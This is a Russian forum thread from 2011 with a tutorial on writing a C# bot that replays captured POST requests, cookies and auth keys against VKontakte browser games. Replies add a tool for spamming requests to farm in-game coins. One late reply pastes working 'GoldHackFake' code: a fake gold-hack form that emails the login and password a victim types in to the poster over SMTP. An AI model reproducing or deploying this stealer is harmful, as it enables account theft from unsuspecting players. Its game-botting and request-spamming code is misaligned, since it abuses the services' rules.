PDA

Просмотр полной версии : [Руководство] Создание бота на C#


Cherinho
31.01.2011, 21:45
Создание бота для браузерной игры на C#
Итак,в связи с часто возникающими вопросами по поводу того,как сделать бота,решил написать этот гайд.В нем я научу создавать бота для браузерных игр на примере бота для игры "Кактусомания" Вконтакте.
Требования для создания бота:
Microsoft Visual Studio 2010(в данном гайде я использовал именно ее,хотя можно и более ранние версии) Начальные знания программирования Прямые руки Желание узнать новое:)

Процесс создания:

Открываем Visual Studio и создаем новый проект
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
В поле "Имя" вписываем любое имя,которое вам нравиться:).В поле "Расположение" выберите местоположение вашего будущего проекта.Нажимаем кнопку "ОК"
После нажатия кнопки "ок" появится дизайнер нашего приложения(в данном случае бота):
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
так сейчас выглядит наше приложение.Можете потягать за уголочки,поменять размер:)Еще можно перейти во вкладку "Свойства" и посмотреть/поменять различные свойства нашего приложения
Теперь давайте добавим кнопочку на наше приложение.Для этого в левой части Visual Studio откройте кладку "Панель инструментов" и найдите там элемент "button"
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Перетащите его на нашу форму,и во вкладке "Свойства" найдите поле "Техт" и напишите что-то осмысленное там;)
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
В результате текст на кнопке у вас поменяется на написанный
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Так,с дизайнером покончено,перейдем к коду.Давайте клацнем в дизайнере по только что созданной нами кнопке 2 раза(это значит,что мы добавили обработчик события нажатия левой кнопки мыши на нашу кнопку).Если все сделано правильно,то очутимся мы в редакторе кода
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Сверху,где у нас написанны подключенные неймспейсы,давайте допишем еще один: System.Net
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
Теперь приступим к самому главному.Давайте немного теории.Как работает браузерная игра?Ну кочнечно же общаясь со своим сервером пост- и гет-запросами.В данном случае(напомню,что бот под игру "Кактусомания") игра с сервером общается посредством пост-запросов.Поэтому код будем адаптировать под пост-запросы серверу.Итак,перейдем в функцию button1_Click(если вы меняли свойство "Name"(не "Text",а именно "Name"),то название функции может быть другим,но суффикс _Click останется в любом случае)
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
и добавим туда следующий код:
// Формируем строку с параметрами
//Кактус
String secondStepForm = "type=1&viewer_id=ваш_айди&authkey=ваш_аутхкей&rand=1295814819207&invite=количество_друзей_в_приложении";
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]");
// Настраиваем параметры запроса
request.UserAgent = "Opera/9.80";
request.Method = "POST";
// Указываем тип отправляемых данных
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
// Преобразуем данные к соответствующую кодировку
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
// Записываем данные в поток
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
Собственно говоря,комментарии в коде присутствуют довольно подробные,но обращу ваше внимание на 2 строчки:
1.[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]"); - это строка,URL,на который идет пост-запрос.Получить ее можно,нажав ПКМ в Charles на нужном пакете,и нажав Copy URL
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
2.String secondStepForm = "type=1&viewer_id=ваш_айди&authkey=ваш_аутхкей&rand=1295814819207&invite=количество_друзей_в_приложении"; - это наши многоуважаемые параметры :),посылаемые в пост-запросе.Получить их можно нажав ПКМ в Charles на нужном пакете,и нажав Copy Request
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
В данном примере мы не получаем ответа от сервера,но если требуется получить ответ,то дописываем снизу следующий код:
// Получаем ответ
//[Ссылки могут видеть только зарегистрированные и активированные пользователи] response = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])request.GetResponse();
// Получаем html-код страницы
//string html = new StreamReader(response.GetResponseStream(),Encoding .UTF8).ReadToEnd();
//MessageBox.Show(html);
Нажимаем F5.Все,бот готов

Итак,на примере игры Кактусомания мы,надеюсь,научились создавать ботов для браузерных игр.Этот бот абсолютно не функционален,в нем я хотел всего лишь показать азы создания бота:)Включив фантазию,данного бота можно развить в что-то стоящее;)Все зависит только от вас.Спасибо за внимание,все вопросы в теме...
P.S:данный пример ищите во вложениях;)
Cherinho (C) 2011
Special for Zhyk.ru

Nickitee
31.01.2011, 22:45
Молодец, но есть ещё легче способ.
Но вилка говорит не вылаживать код. :D

Cherinho
01.02.2011, 01:55
Есть много способов легче)Разные языки-разные способы,разные требования к моску)
P.S.:а вилка,наскока я знаю,пишет на Delphi.Может там и легче ;)

Nickitee
01.02.2011, 18:06
Есть много способов легче)Разные языки-разные способы,разные требования к моску)
P.S.:а вилка,наскока я знаю,пишет на Delphi.Может там и легче ;)
C# Не хотел?
А способ второй тоже на C#.
Только там кода меньше. :D

Cherinho
01.02.2011, 18:51
C# Не хотел?
А способ второй тоже на C#.
Только там кода меньше.
ну c# так c#,мне-то какая разница/bonk
та вообще способов отправки пост-запросов куча,здесь показан только лишь один из них
п.с:уважаемые модеры,а че это первая картинка поменялась?)

fireridlle
03.02.2011, 18:05
дописал код что бы получить ответ от сервера. вот такая ошибка:

Ошибка 1 Не удалось найти имя типа или пространства имен "StreamReader" (пропущена директива using или ссылка на сборку?) C:\Users\Ridlle\Documents\Visual Studio 2010\Projects\bot_for_prison\bot_for_prison\Form1. cs 51 31 bot_for_prison

Еще подскажите как отобразить в проге количество папирирос. по идеи в ответе должно быть указано

Cherinho
03.02.2011, 20:01
дописал код что бы получить ответ от сервера. вот такая ошибка:

Ошибка 1 Не удалось найти имя типа или пространства имен "StreamReader" (пропущена директива using или ссылка на сборку?) C:\Users\Ridlle\Documents\Visual Studio 2010\Projects\bot_for_prison\bot_for_prison\Form1. cs 51 31 bot_for_prison

да,сори,забыл об этом сказать
там,где подключаешь неймспейсы(using System...) допиши using System.IO;


Еще подскажите как отобразить в проге количество папирирос. по идеи в ответе должно быть указано
да,количество папирос в каком-то ответе приходят.в каком именно-можешь в charles посмотреть

fireridlle
04.02.2011, 08:20
Cherinho, я понял что в ответе, вот допустим у меня в проге есть лейб с названием "ваши папиросы" и рядом какой то элемент(не знаю какой надо ставить).
так вот в этом элементе должно отобразиться количество папирос.

вот тут [Ссылки могут видеть только зарегистрированные и активированные пользователи] еще вопрос. если можешь помоги

Cherinho
04.02.2011, 15:26
можешь лейбл и рядом тоже лейбл ставить,т.к. кол-во пааирос тебе менять не обязательно же)
программно текст в элементе меняется следующим образом
element.text="твоя строка";
где element - это имя твоего элемента.это во многих элементах так меняется текст,но не во всех
в конкретно твоем случае можно сделать так:
получаем ответ сервера,записываем его в строку.далее из этой строки выдираем количество папирос.а потом
label1.Text = "твоя строка с кол-вом папирос"
и все должно получиться :)

fireridlle
04.02.2011, 16:10
а как выдернуть из ответа количество?

Cherinho
04.02.2011, 16:50
проще всего это сделать стандартными методами разбора строки
например:
string str="hello world";
str=str.Substring(3,5);
данный пример вернет тебе "lo wo"
есть куча методов при работе со строками.тыц ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

fireridlle
04.02.2011, 19:17
а можно просто вытянуть значение между тегами?а то количество папирос у всех разное, соответственно длина записи тоже разная. например у меня 10000 а у когото 10

Cherinho
04.02.2011, 19:19
можно конечно.все,что хочешь из строки можешь вытянуть)
я ж дал ссылку на описание методов,которыми можно пользоваться.там найдешь все нужное

bohdan09
06.02.2011, 23:51
Тема суперская, БОЛЬШОЙ РЕСПЕКТ!!!!!!!!!!ОЧЕНЬ ОЧЕНЬ БОЛЬШОЙ !!!!!!!!!!=))))))))))))))))))))))))) Оч понравилась. Этим способом можно вытягивать идишники с приложений 2 левела и вставлять через чарлез, или также написать прогу для вставки идишников.
ЖДУ ПРОДОЛЖЕНИЯ УРОКОВ!!! :)
:z:

Attos
07.02.2011, 02:35
Спасибо большое за урок! Это как раз то что искал!
Не зря зарегился :rolleyeyes:

OneShot
08.02.2011, 13:55
Хочу такойже гайд по delphi7 =)

Cherinho
08.02.2011, 15:20
delphi7 не учил,поэтому за подобным гайдом по дельфинчику обращайтесь к знатокам)
какие гайды на с# сделать еще?

bohdan09
08.02.2011, 16:27
Еще, как написать ядро для флеш игры, чтоб поставить комп приложения против твоего компа на примере Вормикс ([Ссылки могут видеть только зарегистрированные и активированные пользователи]) или как собрать приложение с Вконтакте и поставить себе на комп

fireridlle
08.02.2011, 22:24
напиши плиз как вывести текст из тегов в ответе)))
и как сделать что бы вбить несколько ид и аутхов и по одному с них выполняь действия))
если можешь подробней

bohdan09
08.02.2011, 23:06
и как сделать что бы вбить несколько ид и аутхов и по одному с них выполняь действия))
А для чего можно использовать аутх кроме идентификации приложения?

Cherinho
08.02.2011, 23:07
напиши плиз как вывести текст из тегов в ответе)))
и как сделать что бы вбить несколько ид и аутхов и по одному с них выполняь действия))
если можешь подробней

[Ссылки могут видеть только зарегистрированные и активированные пользователи] %F0%E0 вот по поводу первого вопроса

Nickitee
09.02.2011, 11:36
напиши плиз как вывести текст из тегов в ответе)))
и как сделать что бы вбить несколько ид и аутхов и по одному с них выполняь действия))
если можешь подробней
string stroka = "<result>1</result>";
string[] Splitter = stroka.ToString().Split((Convert.ToChar(">"));
string strokaPosle = Splitter[1].Replace("</result");
Всё просто, мы делаем распределение "строки" символом ">", тобиш если нам надо всё до ">", то индекс будет 0, после 1, и так далее, так же мы избавились от лишнего мусора, в нашем случае "</result".

bohdan09
09.02.2011, 12:07
А как вытянуть идишники если они указаны в запросе(юрл) и всегда меняются
Пример
ht tp://api.vkontakte.ru/api.php?uids=26166813%2C113294116%2C60538100%2C986 16910%2C2133171%2C123267377&api%5Fid=1744756&fields=uid%2Cfirst%5Fname%2Clast%5Fname%2Cnickname %2Csex%2Cbdate%2Ccity%2Ccountry%2Ctimezone%2Cphoto %2Cphoto%5Fmedium%2Cphoto%5Fbig&format=XML&test%5Fmode=1&sig=7296fa3f3eff1739c57bb5e58318bdac&v=2%2E0&method=getProfiles

ht tp://api.vkontakte.ru/api.php?uids=60941046%2C50981483%2C96754461%2C9547 5721%2C8578766%2C78488166%2C105749197%2C25602367%2 C71563563%2C27253680%2C32278443%2C16794728&api%5Fid=1744756&fields=uid%2Cfirst%5Fname%2Clast%5Fname%2Cnickname %2Csex%2Cbdate%2Ccity%2Ccountry%2Ctimezone%2Cphoto %2Cphoto%5Fmedium%2Cphoto%5Fbig&format=XML&test%5Fmode=1&sig=2f38dce1cbf7b501fe7cc742a9d661d7&v=2%2E0&method=getProfiles

То в строку вводить ht tp://api.vkontakte.ru/api.php? или как? чтоб я мог ид отсеять

Cherinho
10.02.2011, 14:38
А как вытянуть идишники если они указаны в запросе(юрл) и всегда меняются
Пример
ht tp://api.vkontakte.ru/api.php?uids=26166813%2C113294116%2C60538100%2C986 16910%2C2133171%2C123267377&api%5Fid=1744756&fields=uid%2Cfirst%5Fname%2Clast%5Fname%2Cnickname %2Csex%2Cbdate%2Ccity%2Ccountry%2Ctimezone%2Cphoto %2Cphoto%5Fmedium%2Cphoto%5Fbig&format=XML&test%5Fmode=1&sig=7296fa3f3eff1739c57bb5e58318bdac&v=2%2E0&method=getProfiles

ht tp://api.vkontakte.ru/api.php?uids=60941046%2C50981483%2C96754461%2C9547 5721%2C8578766%2C78488166%2C105749197%2C25602367%2 C71563563%2C27253680%2C32278443%2C16794728&api%5Fid=1744756&fields=uid%2Cfirst%5Fname%2Clast%5Fname%2Cnickname %2Csex%2Cbdate%2Ccity%2Ccountry%2Ctimezone%2Cphoto %2Cphoto%5Fmedium%2Cphoto%5Fbig&format=XML&test%5Fmode=1&sig=2f38dce1cbf7b501fe7cc742a9d661d7&v=2%2E0&method=getProfiles

То в строку вводить ht tp://api.vkontakte.ru/api.php? или как? чтоб я мог ид отсеять


string str = "[Ссылки могут видеть только зарегистрированные и активированные пользователи] 16910%2C2133171%2C123267377&api%5Fid=1744756&fields=uid%2Cfirst%5Fname%2Clast%5Fname%2Cnickname %2Csex%2Cbdate%2Ccity%2Ccountry%2Ctimezone%2Cphoto %2Cphoto%5Fmedium%2Cphoto%5Fbig&format=XML&test%5Fmode=1&sig=7296fa3f3eff1739c57bb5e58318bdac&v=2%2E0&method=getProfiles";
string res = str.Substring(str.IndexOf("[Ссылки могут видеть только зарегистрированные и активированные пользователи]") + "[Ссылки могут видеть только зарегистрированные и активированные пользователи]".Length, str.IndexOf("&api%5Fid=") - "[Ссылки могут видеть только зарегистрированные и активированные пользователи]".Length);
res = res.Replace("%2C", ",");

MiKS007
10.02.2011, 17:53
Cherinho, Отличный гайд. Все описано, ничего сложного!

bohdan09
11.02.2011, 22:30
А как написать чтоб идишники в ТХТ файл сохранились?

Cherinho
11.02.2011, 23:40
юзай класс File

Attos
12.02.2011, 15:57
Для другой браузерной игры начал писать бота по этому гайду..Делаю простой пост-запрос, в Charles если сделать Repeat этого запроса, то все ок; в моей же проге возвращается html-код главной страницы...такое ощущение, что или как-то авторизация пропадает или запрос неправильный..
вот код запроса:

private void Button_GetInfoTown_Click(object sender, EventArgs e)
{
// Формируем строку с параметрами
String secondStepForm = "link=town&bar1=20&bar2=34&bar3=46"; //копи request
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]"); //копи URL
// Настраиваем параметры запроса
request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 MRA 5.7 (build 03796) Firefox/3.6.13 sputnik 2.1.0.18";
request.Method = "POST";
// Указываем тип отправляемых данных
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
// Преобразуем данные к соответствующую кодировку
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
// Записываем данные в поток
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
// Получаем ответ
[Ссылки могут видеть только зарегистрированные и активированные пользователи] response = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])request.GetResponse();
// Получаем html-код страницы
string html = new StreamReader(response.GetResponseStream(),Encoding .Default).ReadToEnd();
MessageBox.Show(html);

}


Подскажите, плиз, почему может быть такое?



ps 3 часа ужаса :omg: и нашел ответ: в запрос надо добавлять куки и ставить автодирект на др страницу.....куки взял с сharles....
вообщем кому понадобится, запрос стал таким (сори за размер) )



// Формируем строку с параметрами
String secondStepForm = "link=town&bar1=20&bar2=34&bar3=46"; //копи request
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]"); //копи URL
// Настраиваем параметры запроса
request.UserAgent = "Opera/9.80 (Windows NT 5.1; U; MRA 5.7 (build 03796); ru) Presto/2.7.62 Version/11.01";
request.Method = "POST";
request.Headers.Add([Ссылки могут видеть только зарегистрированные и активированные пользователи] ge, "ru-RU,ru;q=0.9,en;q=0.8");
request.Headers.Add([Ссылки могут видеть только зарегистрированные и активированные пользователи] ng, "deflate, gzip, x-gzip, identity, *;q=0");
request.Headers.Add([Ссылки могут видеть только зарегистрированные и активированные пользователи] t, "iso-8859-1, utf-8, utf-16, *;q=0.1");
request.Accept = @"text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1";

string cookie = "rid=здесь я немного уберу на всякий случай , но вид куков такой ; __utma=43044218.867353941.1297026906.1297352891.12 97519867.3; __utmc=43044218";
request.Headers.Add([Ссылки могут видеть только зарегистрированные и активированные пользователи] cookie);



request.KeepAlive = true;
// Указываем тип отправляемых данных
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
request.Referer = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
request.AllowAutoRedirect = true;
// Преобразуем данные к соответствующую кодировку




//request.CookieContainer;
//CookieContainer cont = new CookieContainer();
//cont.SetCookies( = "CookieContainer";




// Записываем данные в поток
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
// Получаем ответ
[Ссылки могут видеть только зарегистрированные и активированные пользователи] [Ссылки могут видеть только зарегистрированные и активированные пользователи] = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])request.GetResponse();
Stream stream = [Ссылки могут видеть только зарегистрированные и активированные пользователи]();
StreamReader reader = new StreamReader(stream, Encoding.Default);

string responceFromServer = reader.ReadToEnd();

reader.Close();
stream.Close();
[Ссылки могут видеть только зарегистрированные и активированные пользователи]();

string[] stringSeparators = new string[] { "\n" };
string[] result = responceFromServer.Split(stringSeparators, StringSplitOptions.RemoveEmptyEntries);


там добавлено еще и копирование полученной html-страницы в string для дальнейшего парсинга :ban:

кстати не помню, показывает ли запросы чарлиз от обыкновенных прог, но Fiddler [Ссылки могут видеть только зарегистрированные и активированные пользователи] ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
показывает точно, оч удобно)

Cherinho
13.02.2011, 17:09
если в ИЕ поставить галочку напротив "использовать прокси-сервер для локальных подключений",то charles будет показывать запросы от проги нашей :)

.AsTex.
14.02.2011, 23:02
Cherinho, Вот мой вопрос)))
Можно ли как-то изменить Response?
Т.е. у меня есть текст на которые его изменить,но как это сделать?

Cherinho
15.02.2011, 02:29
Cherinho, Вот мой вопрос)))
Можно ли как-то изменить Response?
Т.е. у меня есть текст на которые его изменить,но как это сделать?

это можно сделать написав свой сниффер))

ad0mant1k
15.02.2011, 16:42
Cherinho Можешь скинуть ссылку где можно скачать Microsoft Visual Studio 2010 x86

Cherinho
15.02.2011, 16:57
ad0mant1k,ты наверное хотел сказать Х86?:)
тыц ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
либо на торрентах ищи

ad0mant1k
17.02.2011, 00:50
Cherinho а Русификатор можно? :)

Cherinho
17.02.2011, 02:00
1 ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
2 ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
3 ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
пробуй это
п.с.: в торренте много разных сборок,выбери нужную тебе

ad0mant1k
17.02.2011, 17:44
Cherinho есть просто Русификатор для него? а то заново не хочется качать

Cherinho
17.02.2011, 18:27
я качал сразу русскую
пробуй гуглить

Andry lomakin
11.03.2011, 13:46
Тут все конешно понятно
но я в чарли дуб тушканчик

Cherinho
11.03.2011, 16:44
Тут все конешно понятно
но я в чарли дуб тушканчик
я-то тут причем?))в тебе о браузерных играх есть полное описание при работе с чарликом

S.e.n.s.o.R
04.04.2011, 23:10
Сделал по гайду, но после 2го запроса (любого) намертво виснет

Cherinho
05.04.2011, 00:27
Сделал по гайду, но после 2го запроса (любого) намертво виснет

пробуй по другому делать...разбирайся с кодом,ищи причины
я тебе так ничего сказать немогу

S.e.n.s.o.R
05.04.2011, 13:13
Ну дык не писал бы суда, еслиб знал где ошибка)
Вот код, я думаю врядли там ошибка, но всё-же
Буттон1_тыц(object sender, EventArgs e)
{
String secondStepForm = "api%5Fid=325431&rnd=173&viewer%5Fid=" + textBox2.Text + ";3&a=gift&auth%5Fkey=auth=" + textBox1.Text;
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]");
request.UserAgent = "Opera/9.80";
request.Method = "POST";
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
}
MessageBox.Show("Взял!");
}

Если поможешь, то с меня спасибка /bonk

twix2010
05.04.2011, 13:24
Спасибо, тема суппер, очень помогла.. то, что искал

Cherinho
05.04.2011, 15:45
Буттон1_тыц(object sender, EventArgs e)
{
String secondStepForm = "api%5Fid=325431&rnd=173&viewer%5Fid=" + textBox2.Text + ";3&a=gift&auth%5Fkey=auth=" + textBox1.Text;
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]");
request.UserAgent = "Opera/9.80";
request.Method = "POST";
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
}
MessageBox.Show("Взял!");
}

ну во-первых так:
Буттон1_тыц(object sender, EventArgs e)
{
String secondStepForm = "api%5Fid=325431&rnd=173&viewer%5Fid=" + textBox2.Text + ";3&a=gift&auth%5Fkey=auth=" + textBox1.Text;
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]");
request.UserAgent = "Opera/9.80";
request.Method = "POST";
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
MessageBox.Show("Взял!");
}
а во-вторых,после первого запроса пробуй задержку ставить
Thread.Sleep(500);
либо же отправку запросов делай функциями,а в обработчике нажатия мыши их вызывай
П.С.:я с подобной проблемой справлялся вторым вариантом

S.e.n.s.o.R
05.04.2011, 20:37
отправку запросов делай функциями,а в обработчике нажатия мыши их вызывай
П.С.:я с подобной проблемой справлялся вторым вариантом

Сории, но можно поподробнее?
Блин представляю каким идиотом я выгляжу :confused:

Cherinho
05.04.2011, 21:41
Сории, но можно поподробнее?
Блин представляю каким идиотом я выгляжу :confused:
поподробнее вкратце тяжело.ищи "функции в c#"

romka_nefor
06.04.2011, 15:25
Помогите написать бота для тюряги!

S.e.n.s.o.R
08.04.2011, 17:54
Cherinho, Напиши плз пример использования функций, тоесть

буттон1_тыц *****(***)
{ код
}

или совсем другое?

Cherinho
19.04.2011, 15:43
примерно так...
модификатор_доступа возвращаемый_тип имя_функции(параметры или их отсутствие)
{
//код
}
пример:
private void MyFunc()
{
MessageBox.Show("MyFunc");
}

золі
28.05.2011, 15:13
Cherinho, У меня ответ не приходит чё делаь?

Hermein
30.05.2011, 08:52
Cherinho, У меня ответ не приходит чё делаь?


// Получаем ответ
[Ссылки могут видеть только зарегистрированные и активированные пользователи] response = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])request.GetResponse();
// Получаем html-код страницы
string html = new StreamReader(response.GetResponseStream(),Encoding .UTF8).ReadToEnd();
MessageBox.Show(html);

rocket-ua
30.05.2011, 18:02
Кому лениво самому что-то писать набросал очень простую и примитивную програмулину для отправки одинаковых запросов. Грубо говоря это спам. я так себе в одной игрулине деньги зарабатывал. 1 запрос - 1 монетка :)

Первое поле - адрес куда посылать запрос
Второе поле - параметры которые нужно передать
Третье поле - количество повторений отправки запросов
Четвертое поле - количество потоков
Чекбокс - показывать ли результат ответа (показывает меседжбокс)

Писал для себя, так что никаких блокировок элементов во время работы нет, так что не тыцкайте и не меняйте ничего пока не завершится работа.

Если кому-то интересно, могу что-то добавить. например интервал отправки запросов, сохранение логов запросов/ответов или еще что-то.

GreyKnight
11.06.2011, 18:37
Кому лениво самому что-то писать набросал очень простую и примитивную програмулину для отправки одинаковых запросов. Грубо говоря это спам. я так себе в одной игрулине деньги зарабатывал. 1 запрос - 1 монетка :)

Первое поле - адрес куда посылать запрос
Второе поле - параметры которые нужно передать
Третье поле - количество повторений отправки запросов
Четвертое поле - количество потоков
Чекбокс - показывать ли результат ответа (показывает меседжбокс)

Писал для себя, так что никаких блокировок элементов во время работы нет, так что не тыцкайте и не меняйте ничего пока не завершится работа.

Если кому-то интересно, могу что-то добавить. например интервал отправки запросов, сохранение логов запросов/ответов или еще что-то.

Выложи, пожалуйста, исходники, желательно .зип-архив всего проекта.
Просто я хочу понять как реализовать описанные выше фишки.
И заодно хотелось бы спросить: в приведённом коде в топ-посте при нажатии кнопки цикл крутится без конца? Если да, то как сделать кнопку, прерывающую отправку запросов?
Буду весьма благодарен.

И ещё одно: в параметры запроса можно вписать Cookies и прочее, что видно в Чарли? (игра того требует)

Rhino1234
28.07.2011, 11:35
ну это уже для совсем совсем новичков )) "Напишите что-то осмысленное там(снести винду)" улыбнуло ;)

Cherinho
28.07.2011, 15:47
Rhino1234, просто очень часто раньше такой вопрос тут поднимался,как отправить пост/гет-запрос)

sooqua
22.09.2011, 16:57
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;


namespace WindowsFormsApplication2
{

public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)
{

// Формируем строку с параметрами
//Кактус
String secondStepForm = "screen=h%3D1050%26w%3D1680%26d%3D24&session_token=XYRDYi7X2u5jWxcr64oRQjHUGSp8MEAxMzE2 NjkzMzI5";
[Ссылки могут видеть только зарегистрированные и активированные пользователи] request = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])WebRequest.Create("[Ссылки могут видеть только зарегистрированные и активированные пользователи]");
// Настраиваем параметры запроса
request.UserAgent = "MSIE 7.0";
request.Method = "POST";
// Указываем тип отправляемых данных
request.ContentType = "application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
// Преобразуем данные к соответствующую кодировку
byte[] EncodedPostParams = Encoding.ASCII.GetBytes(secondStepForm);
request.ContentLength = EncodedPostParams.Length;
// Записываем данные в поток
request.GetRequestStream().Write(EncodedPostParams , 0, EncodedPostParams.Length);
request.GetRequestStream().Close();
// Получаем ответ
[Ссылки могут видеть только зарегистрированные и активированные пользователи] response = ([Ссылки могут видеть только зарегистрированные и активированные пользователи])request.GetResponse();
// Получаем html-код страницы
string html = new StreamReader(response.GetResponseStream(),Encoding .UTF8).ReadToEnd();
//MessageBox.Show(html);
}
}
}

что у меня не так? ответ от сервера типа надо залогиниться! но я же указал IE 7.0 а в нем я уже залогинелся

Cherinho
24.12.2011, 16:50
ты не так понял что ты указал
ты просто серваку сказал,что ты типа используешь IE 7.0,но при этом ИЕ 7.0 абсолютно никак не причастен к твоему боту.надо вначале залогиниться ботом,а потом делать все дальше

DreemJe
25.12.2011, 17:13
[Ссылки могут видеть только зарегистрированные и активированные пользователи] ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

КУДА КОД ВСТАВИТЬ?

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;

namespace GoldHackFake
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();

comboBox1.SelectedIndex = 0;
}

private void button1_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "password");

string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgSubject = "Письмо из c#";

string msgBody = String.Format("Нубик попался :-)\n\nСервер: {0}\nЛогин: {1}\nПароль: {2}",
comboBox1.SelectedItem.ToString(), textBox1.Text, textBox2.Text);

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);

try
{
client.Send(msg);
}
catch { }
}
}
}

Hellost
25.12.2011, 23:34
DreemJe, ты хочешь код с C#, вставить в vb.net ?

TeedI
25.12.2011, 23:35
DreemJe, для начало нужно создать проект не VB а C#

макар11
05.01.2012, 11:33
Спс большое за урок !!!
Но у меня маленькая проблема с ботом для приложения уличная ярость(пишу на девил студии) ,сделал все запросы и функцию боя,все работает,только дерться через заданное время,а я хоу сделать так,чтоб дрался пока ТОЛЬКО ,пока есть энергия !!!
В приложении есть переменная n_rest=**** - это время до восстановления энергии,не подскажите как сделать счетчик,который в 1 запросе смотрит n_rest ,и начинает отсчитывать,и ,только n_rest исчезает(энергия восст) он нападет ,пока не кончиться энергия ,или определенное количество раз !!!помогите плз !!!

Sinyss
05.01.2012, 12:39
Спс большое за урок !!!
Но у меня маленькая проблема с ботом для приложения уличная ярость(пишу на девил студии) ,сделал все запросы и функцию боя,все работает,только дерться через заданное время,а я хоу сделать так,чтоб дрался пока ТОЛЬКО ,пока есть энергия !!!
В приложении есть переменная n_rest=**** - это время до восстановления энергии,не подскажите как сделать счетчик,который в 1 запросе смотрит n_rest ,и начинает отсчитывать,и ,только n_rest исчезает(энергия восст) он нападет ,пока не кончиться энергия ,или определенное количество раз !!!помогите плз !!!
